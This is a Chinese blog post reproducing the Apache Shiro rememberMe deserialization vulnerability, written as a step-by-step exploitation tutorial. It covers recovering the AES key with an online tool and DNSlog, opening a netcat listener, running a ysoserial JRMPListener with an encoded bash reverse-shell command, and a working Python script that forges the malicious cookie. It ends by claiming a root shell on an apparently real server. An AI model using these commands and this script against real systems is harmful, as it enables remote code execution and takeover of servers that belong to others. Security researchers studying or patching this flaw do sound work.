一次Apache shiro 反序列化漏洞的复现

lollipop

0x01概述

国内疫情已经得到有效控制,各地已经开始有序复工,不过大家还是不能到掉以轻心,做好必要的安全措施。昨天Apache shiro官方发布了更新,修复了一个权限绕过漏洞,影响版本 < 1.5.2,有使用该组件的小伙伴们赶紧更新下。
提到Apache shiro忽然就想到上次在公司大佬们的指导下搞的一个Apache shiro 反序列化漏洞,影响版本 < 1.2.4,提交了T00ls拿到了注册资格,今天写一下利用过程,温故而知新。

0x02过程

漏洞成因:Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为"remenberMe"的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
首先如何判定一个网站是否使用的了shiro,可以通过查看登陆请求包中以及响应包中是否有"remenberMe"字段,例如下图

这样判定网站使用shiro后就要判定是否存在漏洞了,漏洞成因是由于默认秘钥泄露造成用户可以根据秘钥构造合法的cookie从而达到攻击效果,如果能获取到默认秘钥,则就存在漏洞。这里我们使用吹雪大牛的检测工具(http://sbd.ximcx.cn/ShiroRce/) 配合DNSlog(http://dnslog.cn/) 来使用,首先在DNSlog中获取DNS子域名,然后填入检测工具中,再填入检测网站域名、验证码,点击检测,回到DNSlog页面刷新,如果返回了信息,则证明存在漏洞。


可以看到返回了"fCq.mu9v5j....."字样,前三位则为密钥的开头,通过查询收集的密钥大全,确定了完整密钥为"fCq+/xW488hMTCD+cmJ3aQ=="(文末会给出相关的文档以及工具)。
拿到密钥后就可以尝试构建语句直接反弹shell,整个流程大致为,利用密钥构造exp,将exp替换登陆请求包中cookie的"rememberMe"键值,触发java反序列化漏洞,然后通过ysoserial反序列化工具执行反弹shell命令,最后在本地监听就可以得到服务器shell。(实际操作逻辑和这个顺序不一样)

1.准备反弹语句

首先,需要构造反弹shell语句给ysoserial执行,反弹shell语句需要针对在java环境下执行进行编码,利用此网站可以相应编码(http://www.jackson-t.ca/runtime-exec-payloads.html?tdsourcetag=s_pctim_aiomsg) 写入反弹shell语句进行编码。

2.开启本地监听

注意此处是监听反弹shell的端口9999

nc -lvp 9999

3.开启ysoserial监听

因为最后需要ysoserial与服务器建立连接再执行反弹shell语句,所以ysoserial需要在本地开启JRMP监听并且加上第一步准备的反弹shell语句,等待服务器的连接后,发送反弹shell语句。

java -cp ysoserial-master-f829b478ae-1.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjc..................}|{base64,-d}|{bash,-i}'

此处的7777是ysoserial监听的端口,下一步生成的exp会先和ysoserial建立连接,然后再发送反弹shell的命令,从而获得shell。最后单引号里面的是第一步编码生成的语句。(右键查看图片后可放大)

生成攻击exp

使用如下python代码生成替换登陆请求中rememberMe的exp,注意要将里面"key=base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")"处的密钥替换为刚开始查出来的密钥:"fCq+/xW488hMTCD+cmJ3aQ=="

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-f829b478ae-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")#此处替换为刚开始获取的密钥
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())


然后运行,运行格式为

python 1.py [你的监听ip] [ysoserial监听端口:7777]

生成了一串exp

发送exp进行攻击

最后将登陆请求包中cookie的rememberMe使用exp替换,然后发送

获得shell

最后成功反弹回shell,还是root权限,那就可以删库跑路了(滑稽)。

总结

整个过程其实对于我来说还有很多细节不能理解,比如为何不能直接构造exp来反弹shell而需要先连接ysoserial再来反弹,原因是对java反序列化漏洞的原理理解的不够,所以对于过程的理解稍显不足,整个过程我根据俄我的理解来解释的,但是可能会有错误,希望各位看官能够为我斧正,非常感谢。
相关工具获取地址

链接:https://pan.baidu.com/s/1i8x_7oDL6iEHlhN4OIR0cA 
提取码:i9ip 

One thought on “一次Apache shiro 反序列化漏洞的复现

发表评论

电子邮件地址不会被公开。 必填项已用*标注